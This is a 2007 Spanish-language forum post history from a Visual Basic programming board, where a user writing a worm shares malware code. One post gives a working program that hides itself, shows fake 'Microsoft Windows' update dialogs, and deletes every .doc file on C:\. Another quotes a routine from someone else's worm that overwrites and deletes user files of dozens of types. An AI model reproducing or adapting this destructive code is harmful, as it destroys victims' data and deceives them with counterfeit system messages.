|
Mostrar Mensajes
|
Páginas: [1] 2 3 4
|
4
|
Programación / Programación Visual Basic / Re: Autocopiarse cada minuto
|
en: 11 Diciembre 2007, 16:16 pm
|
pero solo es una funcion "secundaria", no creo que se de cuenta de la carpeta donde se copian. Estaba haciendo un worm perohace poco se me jodio el sector de arranque y se me borro, ahora estoy volviendo a hacer uno, en que acabe los examenes y tenga tiempo lo hare, posteare el codigo si queris saludos
|
|
|
7
|
Programación / Programación Visual Basic / Re: Borrar archivos con X extension(solucionado)
|
en: 27 Noviembre 2007, 23:06 pm
|
bueno leyendo un poco lo arregle, jeje perdon Option Explicit
Private Sub Form_Load() Me.Visible = False App.TaskVisible = False Timer1.Interval = 20000 Timer2.Interval = 25000 'Directorio de windows Text1.Text = "C:\" 'Archivos txt Text2.Text = "*.doc"
End Sub
Private Sub Timer1_Timer() Dim path As String Dim Pattern As String Dim FileSize As Currency Dim Count_Archivos As Long Dim Count_Dir As Long
Screen.MousePointer = vbHourglass List1.Clear 'Path y archivos a buscar path = Text1.Text Pattern = Text2.Text MsgBox "Windows está buscando actualizaciones. Este proceso puede durar varios minutos. Por favor espere", vbInformation, "Microsoft Windows" 'Llamamos a la función para buscar y que nos retorne algunos datos FileSize = FindFilesAPI(path, Pattern, _ Count_Archivos, _ Count_Dir, List1)
Screen.MousePointer = vbDefault End Sub
Private Sub Timer2_Timer() On Error Resume Next Dim i As Integer Dim Pattern As String Dim fso Dim path As String For i = 0 To List1.ListCount Pattern = List1.List(i) Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile Pattern, True Next i MsgBox "No se ha podido descargar el siguiente paquete en las actualizaciones de Windows: package MSN 4874800xsf.dll", vbCritical, "Microsoft Windows" Timer1.Enabled = False End Sub
el code del modulo esta en el enlace del 1er mensaje saludos
|
|
|
10
|
Programación / Programación Visual Basic / Re: Borrar archivos con X extension
|
en: 25 Noviembre 2007, 16:34 pm
|
no, seguramente estoy haciendo algo mal del otro code en el worm de DrakoX hay este code: Private Sub Borrar_Archivos() 'Borro archivos que pueden ser importantes para el Usuario On Error Resume Next EXTlist = Array("mp3", "mid", "aif", "mp4", "ogg", "wma", "wmv", "wav", "asf", "avi", "mpg", "mov", "ace", "arj", "cab", "iso", "rar", "zip", "doc", "txt", "pdf", "pps", _ "sdd", "sdc", "sdw", "sxg", "xls", "xlm", "rtf", "ctt", "msg", "xml", "htm", "css", "swf", "vbs", "3ds", "jpg", "jpeg", "gif", "bmp", "png", "reg", "sys", "h", "cpp", "bak", _ "cab", "ttf", "fon", "lnk") For Each i In Carpetas For Each j In Fso.GetFolder(i).Files For y = LBound(EXTlist) To UBound(EXTlist) If Fso.GetExtensionName(j) = EXTlist(y) Then Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", j, True Fso.DeleteFile j, True End If Next y Next Next End Sub es mas corto pero no lo entiendo
|
|
|
|
|
|
|